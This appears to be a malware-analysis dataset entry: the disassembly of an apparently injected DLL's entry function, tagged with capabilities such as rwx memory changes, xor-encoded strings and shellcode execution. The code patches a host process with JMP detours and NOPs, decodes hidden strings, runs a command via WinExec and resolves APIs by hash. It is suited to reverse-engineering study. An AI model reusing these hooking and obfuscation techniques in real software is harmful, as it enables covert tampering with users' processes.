Function at 0x10005a20
Capabilities:
Allocate or change rwx memory
Check os version
Create process on windows
Encode data using xor
Execute shellcode via indirect call
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x10014106
mov eax, dword fs:[0]
push eax
push ecx
mov eax, 0x1114
call fcn.10013900
mov eax, dword [0x1001e018]
xor eax, esp
mov dword [esp + 0x1110], eax
push ebx
push esi
push edi
mov eax, dword [0x1001e018]
xor eax, esp
push eax
lea eax, [esp + 0x1128]
mov dword fs:[0], eax
mov edi, dword [ebp + 8]
push edi
mov dword [esp + 0x1c], edi
call dword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [ebp + 0xc]
dec eax
jne 0x10006562
mov esi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x5f308d
call esi
mov eax, 0x5f308d
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x5f308d
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x6f8101
call esi
mov eax, 0x6f8101
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x6f8101
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x72d1e4
call esi
mov eax, 0x72d1e4
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x72d1e4
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x735e90
call esi
mov eax, 0x735e90
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x735e90
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x735f3c
call esi
mov eax, 0x735f3c
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x735f3c
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x735f9c
call esi
mov eax, 0x735f9c
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x735f9c
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x747d2c
call esi
mov eax, 0x747d2c
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x747d2c
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x747d93
call esi
mov eax, 0x747d93
mov edx, 0x10123ee0
mov dword ds:[eax], edx
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x10]
push ecx
push edx
push 4
push 0x747d93
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x747d1b
call esi
mov ebx, 0x1388
lea ecx, [esp + 0x10]
push ecx
mov dword [0x747d1b], ebx
mov edx, dword [esp + 0x14]
push edx
push 4
push 0x747d1b
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x72d1cf
call esi
lea ecx, [esp + 0x10]
push ecx
mov dword [0x72d1cf], ebx
mov edx, dword [esp + 0x14]
push edx
push 4
push 0x72d1cf
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x735f8b
call esi
lea ecx, [esp + 0x10]
push ecx
mov dword [0x735f8b], ebx
mov edx, dword [esp + 0x14]
push edx
push 4
push 0x735f8b
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x735f2b
call esi
lea ecx, [esp + 0x10]
push ecx
mov dword [0x735f2b], ebx
mov edx, dword [esp + 0x14]
push edx
push 4
push 0x735f2b
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x735e7b
call esi
lea ecx, [esp + 0x10]
push ecx
mov dword [0x735e7b], ebx
mov edx, dword [esp + 0x14]
push edx
push 4
push 0x735e7b
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 4
push 0x5f307c
call esi
lea ecx, [esp + 0x10]
push ecx
mov dword [0x5f307c], ebx
mov edx, dword [esp + 0x14]
push edx
push 4
push 0x5f307c
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x550e84
call esi
mov eax, 0x10005780
sub eax, 0x550e89
mov bl, 0xe9
mov byte [0x550e84], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x550e85], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x550e84
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x550ccb
call esi
mov eax, 0x100057b0
sub eax, 0x550cd0
mov byte [0x550ccb], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x550ccc], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x550ccb
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x550b2c
call esi
mov eax, 0x100057e0
sub eax, 0x550b31
mov byte [0x550b2c], bl
mov dword [0x550b2d], eax
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x14]
push ecx
push edx
push 5
push 0x550b2c
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x551379
call esi
mov eax, 0x10005810
sub eax, 0x55137e
mov byte [0x551379], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x55137a], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x551379
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x55787e
call esi
mov eax, 0x10005840
sub eax, 0x557883
mov byte [0x55787e], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x55787f], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x55787e
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x5513a2
call esi
mov eax, 0x10005870
sub eax, 0x5513a7
mov byte [0x5513a2], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x5513a3], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x5513a2
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x5513c5
call esi
mov eax, 0x100058a0
sub eax, 0x5513ca
mov byte [0x5513c5], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x5513c6], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x5513c5
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x5a04c0
call esi
mov eax, 0x100058d0
sub eax, 0x5a04c5
mov byte [0x5a04c0], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x5a04c1], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x5a04c0
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x5515b8
call esi
mov eax, 0x10005900
sub eax, 0x5515bd
mov byte [0x5515b8], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x5515b9], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x5515b8
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x551097
call esi
mov eax, 0x10005930
sub eax, 0x55109c
mov byte [0x551097], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x551098], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x551097
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x550b4c
call esi
mov eax, 0x10005960
sub eax, 0x550b51
mov byte [0x550b4c], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x550b4d], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x550b4c
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x550dec
call esi
mov eax, 0x10005990
sub eax, 0x550df1
mov byte [0x550dec], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x550ded], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x550dec
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x576a63
call esi
mov eax, 0x100059c0
sub eax, 0x576a68
mov byte [0x576a63], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x576a64], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x576a63
call esi
lea eax, [esp + 0x10]
push eax
push 0x40
push 5
push 0x550c1b
call esi
mov eax, 0x100059f0
sub eax, 0x550c20
mov byte [0x550c1b], bl
lea ecx, [esp + 0x14]
push ecx
mov dword [0x550c1c], eax
mov edx, dword [esp + 0x14]
push edx
push 5
push 0x550c1b
call esi
push 0
push 0xdbd
lea eax, [esp + 0x364]
push eax
push 0x5509c0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x59ce42
call esi
mov ecx, 0x59ce42
mov eax, 0x90909090
mov dword [ecx], eax
lea edx, [esp + 0x10]
push edx
mov word [ecx + 4], ax
mov eax, dword [esp + 0x14]
push eax
push 6
push ecx
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x55774d
call esi
mov ecx, 0x55774d
mov eax, 0x90909090
mov dword [ecx], eax
lea edx, [esp + 0x10]
push edx
mov word [ecx + 4], ax
mov eax, dword [esp + 0x14]
push eax
push 6
push ecx
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x59e82d
call esi
mov eax, 0x90909090
mov ecx, 0x59e82d
mov dword [ecx], eax
lea edx, [esp + 0x10]
push edx
mov word [ecx + 4], ax
mov eax, dword [esp + 0x14]
push eax
push 6
push ecx
call esi
lea ecx, [esp + 0x10]
push ecx
push 0x40
push 6
push 0x59c702
call esi
mov ecx, 0x59c702
mov eax, 0x90909090
mov dword [ecx], eax
lea edx, [esp + 0x10]
push edx
mov word [ecx + 4], ax
mov eax, dword [esp + 0x14]
push eax
push 6
push ecx
call esi
lea ecx, [esp + 0x14c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov eax, 0xdf
xor esi, esi
lea ebx, [eax + 0x20]
lea ebx, [ebx]
mov dl, byte [esi + 0x10019a44]
xor dl, al
inc eax
mov byte [esp + esi + 0x54], dl
inc esi
and eax, ebx
cmp esi, 0x36
jb 0x10006110
lea eax, [esp + 0x14c]
push eax
lea ecx, [esp + 0x58]
push ecx
lea edx, [esp + 0x25c]
push edx
mov byte [esp + 0x96], 0
call dword [sym.imp.MSVCR100.dll_sprintf]
add esp, 0xc
push 0x37
lea eax, [esp + 0x58]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0
lea ecx, [esp + 0x258]
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0x104
lea edx, [esp + 0x150]
push 0
push edx
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x104
lea eax, [esp + 0x258]
push 0
push eax
call sub.MSVCR100.dll_memset
add esp, 0xc
push 0x94
lea ecx, [esp + 0x90]
push 0
push ecx
call sub.MSVCR100.dll_memset
add esp, 0xc
lea edx, [esp + 0x8c]
push edx
mov dword [esp + 0x90], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
cmp dword [esp + 0x90], 6
ja 0x100061e7
cmp dword [esp + 0x94], 1
ja 0x100061e7
mov byte [0x10d763c1], 1
jmp 0x100061f0
push edi
call fcn.10010120
add esp, 4
mov ecx, 0x1f241cd3
lea eax, [esp + 0x28]
call fcn.100067c0
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, eax
xor eax, eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov word [esp + 0x30], ax
mov byte [esp + 0x32], al
mov ecx, 0x5cc71f4b
lea eax, [esp + 0x1c]
call fcn.10006930
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ecx, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov word [esp + 0x24], cx
call eax
mov esi, 0x1b
lea edi, [esp + 0x128]
mov dword [esp + 0x128], 0xffffffa1
mov dword [esp + 0x12c], 0xffffffff
mov dword [esp + 0x130], 0xffff8b32
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0x78ffffff
mov dword [esp + 0x13c], 0x8bffff89
mov word [esp + 0x140], 0x8ff
mov byte [esp + 0x142], 0x51
call fcn.1000ff60
test eax, eax
je 0x1000664c
mov eax, dword [eax + 1]
mov esi, 0x21
lea edi, [esp + 0x128]
mov dword [0x10d76434], eax
mov dword [esp + 0x128], 0xffffffa1
mov dword [esp + 0x12c], 0xffff89ff
mov dword [esp + 0x130], 0x83ffffff
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0xffff02ff
mov dword [esp + 0x13c], 0xffffff83
mov dword [esp + 0x140], 0x7404ffff
mov dword [esp + 0x144], 0x6affebff
mov byte [esp + 0x148], 0
call fcn.1000ff60
mov dword [0x10d76438], eax
test eax, eax
je 0x10006600
mov ecx, dword [eax + 1]
mov esi, 0x17
lea edi, [esp + 0x128]
mov dword [0x10d76438], ecx
mov dword [esp + 0x128], 0x8e68
mov dword [esp + 0x12c], 0xc16800
mov dword [esp + 0x130], 0xff8d0000
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0xffffffe8
mov word [esp + 0x13c], 0x6aff
mov byte [esp + 0x13e], 2
call fcn.1000ff60
mov dword [esp + 0x10], eax
test eax, eax
je 0x100065c4
mov esi, 0x1b
lea edi, [esp + 0x128]
mov dword [esp + 0x128], 0xffffffa1
mov dword [esp + 0x12c], 0xffffffff
mov dword [esp + 0x130], 0xffff8b32
mov dword [esp + 0x134], 0xffffffff
mov dword [esp + 0x138], 0x78ffffff
mov dword [esp + 0x13c], 0x8bffff89
mov word [esp + 0x140], 0x8ff
mov byte [esp + 0x142], 0x51
call fcn.1000ff60
mov dword [0x10d763b4], eax
test eax, eax
je 0x1000658d
mov edx, dword [eax + 0xb]
mov eax, dword [esp + 0x10]
mov dword [0x10d763b4], edx
add eax, 0x47
mov dword [0x10d763b0], eax
mov ecx, dword [eax + 1]
lea eax, [eax + ecx + 5]
mov dword [0x10d763b0], eax
lea ecx, [eax + 0xa]
mov dword [0x10d763ac], ecx
mov edx, dword [ecx + 1]
lea edi, [ecx + edx + 5]
mov dword [0x10d763ac], edi
lea ecx, [edi + 0x2d]
mov dword [0x10d763a8], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x10d763a8], ecx
add eax, 0x25
mov dword [0x10d763a4], eax
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
mov dword [0x10d763a4], eax
lea ecx, [eax + 8]
mov dword [0x1001e120], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1001e120], ecx
lea ecx, [eax + 0x21]
mov dword [0x1001e114], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1001e114], ecx
lea ecx, [eax + 0x3a]
mov dword [0x1001e118], ecx
mov edx, dword [ecx + 1]
lea ecx, [ecx + edx + 5]
mov dword [0x1001e118], ecx
lea ecx, [eax + 0x42]
mov dword [0x1001e11c], ecx
mov edx, dword [ecx + 1]
add eax, 0xc8
lea ecx, [ecx + edx + 5]
mov dword [0x1001e124], eax
mov dword [0x1001e11c], ecx
mov edx, dword [eax + 1]
lea eax, [eax + edx + 5]
push 0xc3
mov esi, 0x76
mov dword [0x1001e124], eax
mov dword [0x10d7643c], 0x10005730
call fcn.1000f6f0
mov edi, dword [0x10d763a4]
add esp, 4
push 0xc3
mov esi, 0x1e0
call fcn.1000f6f0
mov edi, dword [0x10d763b0]
add esp, 4
push 0xc3
mov esi, 0x33
call fcn.1000f6f0
mov esi, dword [0x10d763b0]
add esp, 4
mov eax, 0x10005630
call fcn.1000f6b0
mov ecx, dword [esp + 0x18]
mov dword [0x10d763b8], ecx
call fcn.1000d6f0
call fcn.1000d760
push 0
xor ecx, ecx
mov edi, 0x10004a40
call fcn.10010010
mov eax, 1
mov ecx, dword [esp + 0x1128]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [esp + 0x1110]
xor ecx, esp
call fcn.10012f04
mov esp, ebp
pop ebp
ret 0xc
mov eax, 0x67
xor esi, esi
mov dl, byte [esi + str.4__58]
xor dl, al
inc eax
mov byte [esp + esi + 0x128], dl
inc esi
and eax, ebx
cmp esi, 0x12
jb 0x10006594
mov byte [esp + 0x13a], 0
mov dword [esp + 0x1130], 0
call fcn.1000f650
mov eax, 0x72
xor esi, esi
jmp 0x100065d0
mov cl, byte [esi + 0x10019aac]
xor cl, al
inc eax
mov byte [esp + esi + 0x128], cl
inc esi
and eax, ebx
cmp esi, 0x1b
jb 0x100065d0
mov byte [esp + 0x143], 0
mov dword [esp + 0x1130], 1
call fcn.1000f650
mov eax, 0xba
xor esi, esi
mov dl, byte [esi + 0x10019a88]
xor dl, al
inc eax
mov byte [esp + esi + 0x44], dl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10006607
lea eax, [esp + 0x44]
push eax
push 0
mov ecx, 0x1011e2d8
mov byte [esp + 0x5b], 0
call fcn.10007050
xor eax, eax
add esp, 8
mov dword [esp + 0x44], eax
mov dword [esp + 0x48], eax
mov dword [esp + 0x4c], eax
mov dword [esp + 0x50], eax
call fcn.1000f650
mov eax, 0x82
xor esi, esi
mov cl, byte [esi + 0x10019ac8]
xor cl, al
inc eax
mov byte [esp + esi + 0x34], cl
inc esi
and eax, ebx
cmp esi, 0xf
jb 0x10006653
lea edx, [esp + 0x34]
push edx
push 0
mov ecx, 0x1011e2d8
mov byte [esp + 0x4b], 0
call fcn.10007050
xor eax, eax
add esp, 8
mov dword [esp + 0x34], eax
mov dword [esp + 0x38], eax
mov dword [esp + 0x3c], eax
mov dword [esp + 0x40], eax
call fcn.1000f650
int3